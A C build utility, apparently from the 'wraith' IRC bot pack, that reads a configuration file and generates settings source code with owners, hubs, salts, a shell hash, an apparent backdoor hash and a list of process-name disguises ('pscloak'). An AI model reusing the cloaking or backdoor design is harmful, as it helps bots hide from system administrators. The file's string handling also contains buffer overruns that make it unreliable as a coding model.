makesettings.c 12 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495
  1. #include <string.h>
  2. #include <stdio.h>
  3. #include <ctype.h>
  4. #include <stdlib.h>
  5. #include <time.h>
  6. #include <sys/types.h>
  7. #include <unistd.h>
  8. char *cfgfile = NULL;
  9. #define strncpyz(_target, _source, _len) do { \
  10. strncpy((_target), (_source), (_len) - 1); \
  11. (_target)[(_len) - 1] = 0; \
  12. } while (0)
  13. #define LISTSEPERATORS ",=:; "
  14. #define BADNICKCHARS ",+*=:!.@#;$%&"
  15. #define SWITCHMETA "+-"
  16. #define HANDLEN 9
  17. #define NICKMAX 32
  18. #define UHOSTMAX 160
  19. #define MAXPASSLEN 25
  20. #define NETKEYLEN 33
  21. #define PACKNAMELEN 40
  22. struct cfg_struct {
  23. char packname[PACKNAMELEN];
  24. char shellhash[33];
  25. char bdhash[33];
  26. char dccprefix[2];
  27. char *owners;
  28. char *hubs;
  29. char *owneremail;
  30. char *pscloak;
  31. int pscloakn;
  32. char *salt1;
  33. char *salt2;
  34. char *defines;
  35. int definesn;
  36. } cfg;
  37. void mallocstruct() {
  38. cfg.owners = calloc(1, 1);
  39. cfg.hubs = calloc(1, 1);
  40. cfg.owneremail = calloc(1, 1);
  41. cfg.pscloak = calloc(1, 1);
  42. cfg.salt1 = calloc(1, 1);
  43. cfg.salt2 = calloc(1, 1);
  44. cfg.defines = calloc(1, 1);
  45. cfg.pscloakn = 0;
  46. cfg.definesn = 0;
  47. }
  48. char *step_thru_file(FILE *fd)
  49. {
  50. char tempBuf[1024] = "", *retStr = NULL;
  51. if (fd == NULL) {
  52. return NULL;
  53. }
  54. retStr = NULL;
  55. while (!feof(fd)) {
  56. fgets(tempBuf, sizeof(tempBuf), fd);
  57. if (!feof(fd)) {
  58. if (retStr == NULL) {
  59. retStr = calloc(1, strlen(tempBuf) + 2);
  60. strcpy(retStr, tempBuf);
  61. } else {
  62. retStr = realloc(retStr, strlen(retStr) + strlen(tempBuf));
  63. strcat(retStr, tempBuf);
  64. }
  65. if (retStr[strlen(retStr)-1] == '\n') {
  66. retStr[strlen(retStr)-1] = 0;
  67. break;
  68. }
  69. }
  70. }
  71. return retStr;
  72. }
  73. char *trim(char *string)
  74. {
  75. char *ibuf = NULL, *obuf = NULL;
  76. if (string) {
  77. for (ibuf = obuf = string; *ibuf; ) {
  78. while (*ibuf && (isspace (*ibuf)))
  79. ibuf++;
  80. if (*ibuf && (obuf != string))
  81. *(obuf++) = ' ';
  82. while (*ibuf && (!isspace (*ibuf)))
  83. *(obuf++) = *(ibuf++);
  84. }
  85. *obuf = '\0';
  86. }
  87. return (string);
  88. }
  89. char *lcase(char *string)
  90. {
  91. static char *tmp = NULL;
  92. int x = 0, length=(strlen(string) + 1);
  93. tmp = calloc(1, length);
  94. strcpy(tmp, string);
  95. tmp[length] = 0;
  96. for(x=0;x<=length;x++)
  97. tmp[x]=tolower(tmp[x]);
  98. return (tmp);
  99. }
  100. char *newsplit(char **rest)
  101. {
  102. register char *o, *r;
  103. if (!rest)
  104. return *rest = "";
  105. o = *rest;
  106. while (*o == ' ')
  107. o++;
  108. r = o;
  109. while (*o && (*o != ' '))
  110. o++;
  111. if (*o)
  112. *o++ = 0;
  113. *rest = o;
  114. return r;
  115. }
  116. int skipline (char *line, int *skip) {
  117. static int multi = 0;
  118. if ( (!strncmp(line, "#", 1)) || (!strncmp(line, ";", 1)) || (!strncmp(line, "//", 2)) ) {
  119. (*skip)++;
  120. } else if ( (strstr(line, "/*")) && (strstr(line, "*/")) ) {
  121. multi = 0;
  122. (*skip)++;
  123. } else if ( (strstr(line, "/*")) ) {
  124. (*skip)++;
  125. multi = 1;
  126. } else if ( (strstr(line, "*/")) ) {
  127. multi = 0;
  128. } else {
  129. if (!multi) (*skip) = 0;
  130. }
  131. return (*skip);
  132. }
  133. int isnumeric(char *string)
  134. {
  135. char *p = string;
  136. while ((p) && *p) {
  137. if ((!isdigit(((char)toupper(*p)))) && (((char)toupper(*p)) != '.')) return 0;
  138. p++;
  139. }
  140. return 1;
  141. }
  142. int validhandle(char *handle) {
  143. char *p = NULL;
  144. for (p = handle; *p; p++) {
  145. if (strchr(BADNICKCHARS, *p)) {
  146. return 0;
  147. }
  148. }
  149. return 1;
  150. }
  151. int validport(char *port) {
  152. int p = atoi(port);
  153. if ( (p < 1024) || (p > 65535) ) {
  154. return 0;
  155. }
  156. return 1;
  157. }
  158. int validip (char *ip) {
  159. int c = 0;
  160. while (*ip) {
  161. if ( (*ip == '.') || (*ip == ':') ) c++;
  162. ip++;
  163. }
  164. return c;
  165. }
  166. int validhost (char *host) {
  167. if ((!host) || !*host) return 1;
  168. if ( ((strlen(host) <= UHOSTMAX) && (strlen(host) >= 1)) && (strstr(host, ".") || strstr(host, ":")) ) {
  169. return 1;
  170. }
  171. return 0;
  172. }
  173. int validuserid (char * uid) {
  174. if ((strlen(uid) <= NICKMAX) && (strlen(uid) >= 1))
  175. return 1;
  176. return 0;
  177. }
  178. char *randstring(int len)
  179. {
  180. int j, r = 0;
  181. static char s[100] = "";
  182. for (j = 0; j < len; j++) {
  183. r = rand();
  184. if (r % 3 == 0)
  185. s[j] = '0' + (rand() % 10);
  186. else if (r % 3 == 1)
  187. s[j] = 'a' + (rand() % 26);
  188. else if (r % 3 == 2)
  189. s[j] = 'A' + (rand() % 26);
  190. }
  191. s[len] = '\0';
  192. return s;
  193. }
  194. void dosalt(char *salt1, char *salt2) {
  195. FILE *f = NULL;
  196. f = fopen("src/salt.h.tmp", "w");
  197. fprintf(f, "#define STR(x) x\n");
  198. fprintf(f, "#define SALT1 STR(\"%s\")\n", salt1);
  199. fprintf(f, "#define SALT2 STR(\"%s\")\n", salt2);
  200. fflush(f);
  201. fclose(f);
  202. }
  203. int loadconfig(char **argv) {
  204. FILE *f = NULL;
  205. char *buffer = NULL, *p = NULL;
  206. int skip = 0, line = 0;
  207. f = fopen(argv[1], "r");
  208. if (!f) {
  209. printf("Error: Can't open '\%s' for reading\n", argv[1]);
  210. exit(1);
  211. }
  212. printf("Reading '\%s' ", argv[1]);
  213. while ( (!feof(f)) && ((buffer = step_thru_file(f)) != NULL) ) {
  214. line++;
  215. if ( (*buffer) ) {
  216. if (strchr(buffer, '\n')) *(char*)strchr(buffer, '\n') = 0;
  217. if ( (skipline(buffer, &skip)) ) continue;
  218. if (strchr(buffer, '<') || strchr(buffer, '>')) {
  219. printf(" Failed\n");
  220. printf("%s:%d: error: Look at your configuration file again...\n", argv[1], line);
  221. exit(1);
  222. }
  223. p = strchr(buffer, ' ');
  224. while (p && (strchr(LISTSEPERATORS, p[0])))
  225. *p++ = 0;
  226. if (p) {
  227. int size = strlen(trim(p)) + 2;
  228. if (!strcmp(lcase(buffer), "packname")) {
  229. strncpyz(cfg.packname, trim(p), sizeof cfg.packname);
  230. printf(".");
  231. } else if (!strcmp(lcase(buffer), "shellhash")) {
  232. strncpyz(cfg.shellhash, trim(p), sizeof cfg.shellhash);
  233. printf(".");
  234. } else if (!strcmp(lcase(buffer), "bdhash")) {
  235. strncpyz(cfg.bdhash, trim(p), sizeof cfg.bdhash);
  236. printf(".");
  237. } else if (!strcmp(lcase(buffer), "dccprefix")) {
  238. strncpyz(cfg.dccprefix, trim(p), sizeof cfg.dccprefix);
  239. printf(".");
  240. } else if (!strcmp(lcase(buffer), "owner")) {
  241. if (cfg.owners && strlen(cfg.owners))
  242. size += strlen(cfg.owners);
  243. size += strlen(trim(p)) + 1;
  244. cfg.owners = realloc(cfg.owners, size);
  245. strcat(cfg.owners, trim(p));
  246. strcat(cfg.owners, ",");
  247. printf(".");
  248. } else if (!strcmp(lcase(buffer), "owneremail")) {
  249. if (cfg.owneremail && strlen(cfg.owneremail))
  250. size += strlen(cfg.owneremail);
  251. size += strlen(trim(p)) + 1;
  252. cfg.owneremail = realloc(cfg.owneremail, size);
  253. strcat(cfg.owneremail, trim(p));
  254. strcat(cfg.owneremail, ",");
  255. printf(".");
  256. } else if (!strcmp(lcase(buffer), "hub")) {
  257. if (cfg.hubs && strlen(cfg.hubs))
  258. size += strlen(cfg.hubs);
  259. size += strlen(trim(p)) + 1;
  260. cfg.hubs = realloc(cfg.hubs, size);
  261. strcat(cfg.hubs, trim(p));
  262. strcat(cfg.hubs, ",");
  263. printf(".");
  264. } else if (!strcmp(lcase(buffer), "pscloak")) {
  265. if (cfg.pscloak && strlen(cfg.pscloak))
  266. size += strlen(cfg.pscloak);
  267. size += strlen(trim(p)) + 1;
  268. cfg.pscloak = realloc(cfg.pscloak, size);
  269. strcat(cfg.pscloak, trim(p));
  270. strcat(cfg.pscloak, " ");
  271. cfg.pscloakn++;
  272. printf(".");
  273. } else if (!strcmp(lcase(buffer), "-")) {
  274. } else if (!strcmp(lcase(buffer), "+")) {
  275. char *define = NULL;
  276. if (cfg.defines && strlen(cfg.defines))
  277. size += strlen(cfg.defines);
  278. trim(p);
  279. define = newsplit(&p);
  280. size += strlen(define) + 1;
  281. cfg.defines = realloc(cfg.defines, size);
  282. strcat(cfg.defines, define);
  283. strcat(cfg.defines, " ");
  284. cfg.definesn++;
  285. printf(".");
  286. } else if (!strcmp(lcase(buffer), "salt1")) {
  287. cfg.salt1 = calloc(1, strlen(trim(p)) + 1);
  288. strcat(cfg.salt1, trim(p));
  289. printf(".");
  290. } else if (!strcmp(lcase(buffer), "salt2")) {
  291. cfg.salt2 = calloc(1, strlen(trim(p)) + 1);
  292. strcat(cfg.salt2, trim(p));
  293. printf(".");
  294. } else {
  295. printf("%s %s\n", buffer, p);
  296. printf(",");
  297. }
  298. }
  299. }
  300. buffer = NULL;
  301. }
  302. if (f) fclose(f);
  303. if (cfg.salt1 && cfg.salt2 && cfg.salt1[2] && cfg.salt2[2]) {
  304. dosalt(cfg.salt1, cfg.salt2);
  305. } else { /* we need to generate the SALTS */
  306. char salt1[33], salt2[17];
  307. time_t now = time(NULL);
  308. salt1[0] = salt2[0] = 0;
  309. srand(now % (getpid() + getppid()));
  310. printf("Creating Salts");
  311. if ((f = fopen(cfgfile, "a")) == NULL) {
  312. printf("Cannot created Salt-File.. aborting\n");
  313. exit(1);
  314. }
  315. strcat(salt1, randstring(sizeof salt1));
  316. strcat(salt2, randstring(sizeof salt2));
  317. salt1[sizeof salt1] = salt2[sizeof salt2] = 0;
  318. fprintf(f, "SALT1 %s\n", salt1);
  319. fprintf(f, "SALT2 %s\n", salt2);
  320. fflush(f);
  321. fclose(f);
  322. dosalt(salt1, salt2);
  323. }
  324. /* no longer needed, hooray configure
  325. if (cfg.definesn && cfg.defines) {
  326. char *def;
  327. int i = 0;
  328. f = fopen("src/conf.h~", "w");
  329. fprintf(f, "#ifndef _S_CONF_H\n#define _S_CONF_H\n\n");
  330. for (i = 0; i < cfg.definesn; i++) {
  331. def = newsplit(&cfg.defines);
  332. fprintf(f, "#define S_%s\n", def);
  333. }
  334. fprintf(f, "\n#endif\n");
  335. fflush(f);
  336. fclose(f);
  337. }
  338. */
  339. printf(" Success\n");
  340. return 1;
  341. }
  342. void tellconfig()
  343. {
  344. printf("packname: %s\n", cfg.packname);
  345. printf("shellhash: %s\n", cfg.shellhash);
  346. printf("bdhash: %s\n", cfg.bdhash);
  347. printf("dccprefix: %s\n", cfg.dccprefix);
  348. printf("owners: %s\n", cfg.owners);
  349. printf("owneremails: %s\n", cfg.owneremail);
  350. printf("hubs: %s\n", cfg.hubs);
  351. printf("pscloak(%d) %s\n", cfg.pscloakn, cfg.pscloak);
  352. }
  353. void freecfg()
  354. {
  355. free(cfg.owners);
  356. free(cfg.hubs);
  357. free(cfg.owneremail);
  358. free(cfg.pscloak);
  359. }
  360. int checkconfig()
  361. {
  362. return 1;
  363. }
  364. char *pscloak (int n)
  365. {
  366. int i = 0;
  367. char *ps = strdup(cfg.pscloak), *p = NULL;
  368. for (i = 0; i < n; i++)
  369. p = newsplit(&ps);
  370. return p;
  371. }
  372. int writeconfig(char **argv)
  373. {
  374. FILE *f = NULL;
  375. int i = 0;
  376. f = fopen(argv[2], "w");
  377. if (!f) {
  378. printf("Error: Can't open '\%s' for writing\n", argv[1]);
  379. exit(1);
  380. }
  381. fprintf(f, " \
  382. /* DO NOT EDIT THIS FILE, EDIT %s INSTEAD */\n\
  383. #include <stdio.h> \n\
  384. #include <stdlib.h> \n\
  385. #include <string.h> \n\
  386. #include \"common.h\"\n\
  387. #include \"debug.h\"\n\
  388. \n\
  389. char packname[512] = \"\", shellhash[33] = \"\", bdhash[33] = \"\", dcc_prefix[2] = \"\", \
  390. *owners = NULL, *hubs = NULL, *owneremail = NULL;\n\n\
  391. char *progname() {\n\
  392. #ifdef S_PSCLOAK\n", cfgfile);
  393. fprintf(f," \
  394. switch (random() %% %d) {\n", cfg.pscloakn + 1);
  395. for (i = 0; i < (cfg.pscloakn + 1); i++)
  396. fprintf(f, " \
  397. case %d: return \"%s\";\n", i, pscloak(i+1));
  398. fprintf(f, " \
  399. }\n\
  400. #endif /* S_PSCLOAK */\n\
  401. return \"wraith\";\n\
  402. }\n\n");
  403. fprintf(f, "#define _PACKNAME STR(\"%s\")\n", cfg.packname);
  404. fprintf(f, "#define _DCCPREFIX STR(\"%s\")\n", cfg.dccprefix);
  405. fprintf(f, "#define _SHELLHASH STR(\"%s\")\n", cfg.shellhash);
  406. fprintf(f, "#define _BDHASH STR(\"%s\")\n", cfg.bdhash);
  407. fprintf(f, "#define _OWNERS STR(\"%s\")\n", cfg.owners);
  408. fprintf(f, "#define _OWNEREMAIL STR(\"%s\")\n", cfg.owneremail);
  409. fprintf(f, "#define _HUBS STR(\"%s\")\n", cfg.hubs);
  410. fprintf(f, " \n\n\
  411. int init_settings()\n\
  412. {\n\
  413. owners = calloc(1, strlen(_OWNERS) + 1);\n\
  414. hubs = calloc(1, strlen(_HUBS) + 1);\n\
  415. owneremail = calloc(1, strlen(_OWNEREMAIL) + 1);\n\
  416. \n\
  417. sprintf(owners, _OWNERS);\n\
  418. sprintf(hubs, _HUBS);\n\
  419. sprintf(owneremail, _OWNEREMAIL);\n\
  420. egg_snprintf(packname, sizeof packname, _PACKNAME);\n\
  421. egg_snprintf(bdhash, sizeof bdhash, _BDHASH);\n\
  422. egg_snprintf(shellhash, sizeof shellhash, _SHELLHASH);\n\
  423. egg_snprintf(dcc_prefix, sizeof dcc_prefix, _DCCPREFIX);\n\
  424. dcc_prefix[1] = 0;\n\
  425. sdprintf(STR(\"owners: %%s\\nhubs: %%s\\nowneremail: %%s\"), owners, hubs, owneremail);\n\
  426. sdprintf(STR(\"dcc_prefix: %%s \\nbdhash: %%s \\nshellhash: %%s\"), dcc_prefix, bdhash, shellhash);\n\
  427. return 1;\n\
  428. }\n");
  429. fflush(f);
  430. fclose(f);
  431. return 1;
  432. }
  433. int main(int argc, char **argv) {
  434. mallocstruct();
  435. cfgfile = strdup(argv[0]);
  436. if (!loadconfig(argv)) return 1;
  437. if (!checkconfig()) return 1;
  438. if (!writeconfig(argv)) return 1;
  439. freecfg();
  440. return 0;
  441. }